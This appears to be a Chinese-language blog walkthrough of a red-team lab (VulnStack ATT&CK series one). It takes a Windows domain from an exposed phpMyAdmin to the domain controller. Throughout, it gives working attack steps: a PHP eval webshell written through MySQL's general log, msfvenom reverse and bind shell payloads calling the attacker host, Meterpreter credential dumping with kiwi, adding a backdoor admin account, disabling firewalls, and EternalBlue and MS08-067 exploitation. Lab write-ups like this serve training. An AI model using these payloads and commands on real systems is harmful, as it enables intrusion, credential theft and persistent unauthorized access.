VulnStack超全面详细的渗透测试笔记

VSole2021-08-03 09:25:20

这篇文章为群友@rural老哥投稿,靶场用的是红日安全的“ATT&CK实战系列——红队实战(一)”。

下载地址:

  • http://vulnstack.qiyuanxuetang.net/vuln/detail/2/

文章正文

1. 根据网卡获取的网段信息,对win7所在网段来一波存活主机检测,排除其他的之后目标锁定在主机号为128的主机上

2. 对发现的存活主机来一波整体信息收集发现开了以下的端口,并且是一个域用户

┌──(root?kali)-[/]└─# nmap -A 192.168.164.128         Starting Nmap 7.91 ( https://nmap.org ) at 2021-07-26 09:53 CSTNmap scan report for 192.168.164.128Host is up (0.00052s latency).Not shown: 989 closed portsPORT     STATE SERVICE      VERSION80/tcp   open  http         Apache httpd 2.4.23 ((Win32) OpenSSL/1.0.2j PHP/5.4.45)|_http-server-header: Apache/2.4.23 (Win32) OpenSSL/1.0.2j PHP/5.4.45|_http-title: Site doesn't have a title (text/html).135/tcp  open  msrpc        Microsoft Windows RPC139/tcp  open  netbios-ssn  Microsoft Windows netbios-ssn445/tcp  open  microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: GOD)1025/tcp open  msrpc        Microsoft Windows RPC1026/tcp open  msrpc        Microsoft Windows RPC1027/tcp open  msrpc        Microsoft Windows RPC1028/tcp open  msrpc        Microsoft Windows RPC1029/tcp open  msrpc        Microsoft Windows RPC1030/tcp open  msrpc        Microsoft Windows RPC3306/tcp open  mysql        MySQL (unauthorized)MAC Address: 00:0C:29:A7:C1:B2 (VMware)Device type: general purpose|media deviceRunning: Microsoft Windows 2008|10|7|8.1, Microsoft embeddedOS CPE: cpe:/o:microsoft:windows_server_2008::sp2 cpe:/o:microsoft:windows_10 cpe:/h:microsoft:xbox_one cpe:/o:microsoft:windows_7::- cpe:/o:microsoft:windows_7::sp1 cpe:/o:microsoft:windows_8 cpe:/o:microsoft:windows_8.1OS details: Microsoft Windows Server 2008 SP2, Microsoft Windows Server 2008 SP2 or Windows 10 or Xbox One, Microsoft Windows 7 SP0 - SP1, Windows Server 2008 SP1, Windows Server 2008 R2, Windows 8, or Windows 8.1 Update 1Network Distance: 1 hopService Info: Host: STU1; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:|_clock-skew: mean: -2h40m00s, deviation: 4h37m07s, median: 0s|_nbstat: NetBIOS name: STU1, NetBIOS user: , NetBIOS MAC: 00:0c:29:a7:c1:b2 (VMware)| smb-os-discovery: |   OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)|   OS CPE: cpe:/o:microsoft:windows_7::sp1:professional|   Computer name: stu1|   NetBIOS computer name: STU1\x00|   Domain name: god.org|   Forest name: god.org|   FQDN: stu1.god.org|_  System time: 2021-07-26T09:55:13+08:00| smb-security-mode: |   account_used: guest|   authentication_level: user|   challenge_response: supported|_  message_signing: disabled (dangerous, but default)| smb2-security-mode: |   2.02: |_    Message signing enabled but not required| smb2-time: |   date: 2021-07-26T01:55:13|_  start_date: 2021-07-26T01:43:45
TRACEROUTEHOP RTT     ADDRESS1   0.51 ms 192.168.164.128
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .Nmap done: 1 IP address (1 host up) scanned in 85.47 seconds

‍3. 访问改web服务器的地址获取页面内容,发现并没有什么可以利用的东西,只能先目录扫描获取一些有用有用信息

4. 用dirsearch工具来扫描,kali默认没有安装,自己装一下就好了,发现有phpmyadmin的目录,说明安装了phpmyadmin,正好和端口扫描的3306 mysql服务相对应,然后在把目录都访问一遍之后发现了phpstudy探针

└─dirsearch -u http://192.168.164.128


5. 本来想着找个python脚本爆破一下,可惜网上的大多用不了,手动猜出来了root:root,登陆进去之后就是通过phpmyadmin写入webshell了

我们这里用日志写入一句话的方式,首先进入phpmyadmin后台,查看genelog变量,更改general log和general log file参数,初始设置general log是OFF,我们将其改成ON;general log file改成网站的根目录,通过phpstudy指针已经知道了网站根目录

show global variables like '%general%';

set global general_log='on';

set global general_log_file='C:/phpStudy/PHPTutorial/WWW/shell.php';



这边写入大马意识可以的:select ' eval($_POST["shell"]);?>';


6. 蚁剑连接不用多说了,这边有个坑,蚁剑下载插件的时候用了代理,本地环境连接一直连不上,人麻了,测试了一下权限administrator真的高


7. 查看根目录之后发现了一个cms,我们在浏览器访问,自己安装的phpstudy打不开这个管理系统,把原来的phpstudy重启一下完美解决


不用扫目录之类的了,主页面已经给了出来信息直接用,进入后台并登录


8. 在前台模板哪里发现了上传点,我们可以上传一个大马,奥里给!创建了一个名为shell_1.php的文件,然后就是查找创建的目录


9. 找了半天,在robots.txt里面找到了目录一个一个找出来了,不过好像可以目录穿越出来,我试了几下没粗来,不过这个大马子挺好用


10. 看了一下教程,说是留言板有个xss的,我们也来试试


<script>alert('xss')script>


成功弹窗


11. 不整那么多了,现在就是经典内网环节,先用msf生成马子用蚁剑上传,反弹shell用msf监听


msfvenom -p windows/meterpreter_reverse_tcp LHOST=192.168.164.129 LPORT=1222 -f exe -o asd.exe


把生成的马子传上去之后执行,msf监听拿到会话


use exploit/mutli/handlerset payload windows/x64/meterpreter_reverse_tcpset lhost 192.168.164.129set lport 1222


12. 本来获得会话之后就要是要提权,这个进来之后就是admin,所以省略这一步,我们直接抓取域用户的密码信息


13. 加载Kiwl插件获取hash并解密


ps:migrate PID(进程迁移)这边meterpreter是32位的,系统是64位的,所以得迁移进程
meterpreter > load Kiwimeterpreter > creds_all


14. 开启3389端口,进入远程桌面,用nmap看看开了没,这边还需要自己添加用户


net user test Admin123 /add # 添加账户密码net localgroup administrators test /add # 给test账户添加为管理员权限net user test # 查询是否成功添加test用户



run post/windows/manage/enable_rdp



rdesktop 192.168.164.128:3389  kali的一个远程工具


15. 开始横向移动,先自动创建路由 


run post/multi/manage/autoroute


16. 挂起会话,通过post/multi/manage/autoroute 这个模块查看路由表


17. 使用auxiliary/server/socks_proxy这个模块开进行socks代理,设置好服务器ip和端口,运行后自动挂入后台


18. 修改/etc/proxychains.conf文件


19. 查看socks5的端口开启了没


20. 起来了之后就可以使用nmap扫描到内网的存活主机,这样扫描起来有点慢


proxychains nmap -sT -Pn 192.168.52.143


21. 我们这里使用msf自带的模块来扫描,发现了两台存活的主机


use auxiliary/scanner/netbios/nbname


22. 再用msf的端口扫描模块对发现的主机扫描,查看开放的端口,这边双管齐下,扫描的太慢了


use auxiliary/scanner/portscan/tcp


23. 都开了445端口经典ms17_010利用起来,先扫描发现有ms17_010的洞


use auxiliary/scanner/smb/smb_ms17_010


24. 既然都有洞了,我门直接丝滑小连招,使用ms17_010的command模块可以执行指令


use auxiliary/admin/smb/ms17_010_command


25. 这个上车补票卫视不晚,我们搜集一波域信息


net config workstation  查看是否有域,以及当前登录域


这边有一个乱码问题,我们在shell视图输入,完美解决


C:\Windows\system32>chcp 65001
net view 查看域内主机列表



net group "domain controllers" /domain 查看域控制器(如果有多台)


然后通过 ping 命令查看域中主机的ip



net user /domain 查看域内所有域用户



net group "domain admins" /domain 查看域管理员列表


26. 完全可以用ms17_010command模块来执行命令,打开3389添加用户,登陆进去,其实在win7上就拿到了管理员用户名和密码,不过这是练习,我们就在继续骚操作


我们通过弹一个正向shell (因为msf 开了代理,所以不能弹反向shell),我们可以win7远程桌面,所给把马子传给win7然后开共享目录,下载到域控上面,然后执行


msfvenom -p windows/meterpreter/bind_tcp -f exe -o /home/dzj/s.exe


msfconsole开启监听


use exploit/multi/handler


win7开启共享


然后用域控的ms17_010command执行复制指令


copy \\192.168.52.143\WWW\s.exe C:\s.exe


这里又有一个坑,win7防火墙开了,导致域控一直下载不了文件,麻了


查看放防火墙状态:netsh advfirewall show allprofile state



关闭所有防火墙:netsh advfirewall set allprofiles state off


欧克再试试下载文件,不能下载,我们用其他方法


set command copy \\\\STU1\\WWW\\s2.exe C:\\s2.exe


这里我是下完之后试的,重启机子就好了,我tm


然后就是msf监听了


set payload windows/x64/meterpreter/bind_tcp


一直连不上shell应该是防火墙的原因,不过我在用win7的nmap扫描之后发现了ms08_067


27. 利用exploit/windows/smb/ms08_067_netapi这个模块直接拿shell


set payload windows/meterpreter/bind_tcp


28. 利用一下win7上的nmap了扫描一下另外两个主机,两个主机都有ms17_010的洞,不过有一台是32位的系统利用不了,只能从另一台下手了


exploit/windows/smb/ms17_010_eternalblue


这还有坑这个主机开了防火墙,我之前试了几次一直拿不到shell,用ms17_010command执行指令关闭之后就返回了shell,这个因为开了代理所以得用set payload windows/x64/meterpreter/bind_tcp正向连接


29. 现在就是抓取hash密码,开启远程桌面,作为桌面党开了远程桌面才算舒服了~~~


套娃ing,这里可以用端口转发,我直接在win7的远程再开一个远程


30. 最后一个其实已经拿到域管理员的密码了可以直接用ms17_010commad关闭防火墙打开3389了


这里还有一点对于非服务器版本的windows 远程登录的话,会断开该主机当前的连接,有可能会惊动管理员。这个时候不慌,可以使用rdpwrap。


rdpwrap是一款可以允许非服务器版本进行多个用户登录的patcher,从github上面下载下来,用蚁剑把 RDPWInst.exe 传上去,然后执行:


RDPWInst.exe -i -s‍‍
渗透测试nmap
本作品采用《CC 协议》,转载必须注明作者和本文链接
利用nmap脚本对MS SQL Server 进行渗透测试,获取目标用户名、数据库表等信息。获取数据库版本信息使用ms-sql-info脚本获取目标数据库版本等信息nmap -p 14
Nmap渗透测试指南
2022-04-20 13:05:55
nmap -sS -Pn -n --open --min-hostgroup 4 --min-parallelism 1024 --host-timeout 30 -T4 -v -oG E:\ip\result3.txt -iL E:\ip\ip.txt
因为 web 服务器同时连接了外网和内网,所以必须首先拿下。这里有关 web 服务器的渗透不展开讲了,无非也就是利用漏洞,诸如:弱口令、上传漏洞、远程代码执行、各种 cms 漏洞,总之都是可以找到写入 webshell 的方法。成功写入 webshell 后,接着就要上传木马控制 web 服务器,这里可以用 Metasploit或 Cobaltstrike。
爬取免费代理爬取全国高校域名端口扫描信息泄露扫描sql盲注框架未授权服务扫描递归爬取某链接中的urlphp随机亦或生成某关键字域名批量转ip根据网段生成ip列表内外方面探测开放端口基于selenium的登录爆破脚本子域名相关子域名爆破基于各大在线网站的子域名收集脚本从url中解析出顶级域名补天公益爬虫
工欲善其事,必先利其器。既然如今已经有了更为便捷、快速的渗透测试工具,这对现代渗透测试工作者无疑是有很大的帮助的。以下列出了他们使用的一些工具。 一、Kali Linux Kali是基本的渗透测试操作系统,为大多数人采用,除非是掌握尖端知识或有特殊情况。Kali以前称为BackTrack Linux,由Offensive Security(OffSec,进行OSCP认证)的优秀人员维护,如今在各
渗透测试前期信息收集工具
概述渗透测试的目标可以是单个主机,也可以是整个内网。在实战中,比如最近如火如荼的HW行动,更多的是对一个目标的内网进行渗透,争取获得所有有价值的资产。完整的内网渗透涉及的步骤如下图所示。快速横向移动到到内网中的核心资产,获取核心敏感数据和权限,完成一次疼痛的打击。Step 1 信息收集完成边界突破的第一步是目标对象资产的信息收集。这些其实是为了找到脆弱资产进行攻击,毕竟“柿子挑软的捏”。
渗透测试的目标可以是单个主机,也可以是整个内网。在实战中,比如最近如火如荼的HW行动,更多的是对一个目标的内网进行渗透,争取获得所有有价值的资产。完整的内网渗透涉及的步骤如下图所示。快速横向移动到到内网中的核心资产,获取核心敏感数据和权限,完成一次疼痛的打击。Step 1 信息收集完成边界突破的第一步是目标对象资产的信息收集。这些其实是为了找到脆弱资产进行攻击,毕竟“柿子挑软的捏”。
VSole
网络安全专家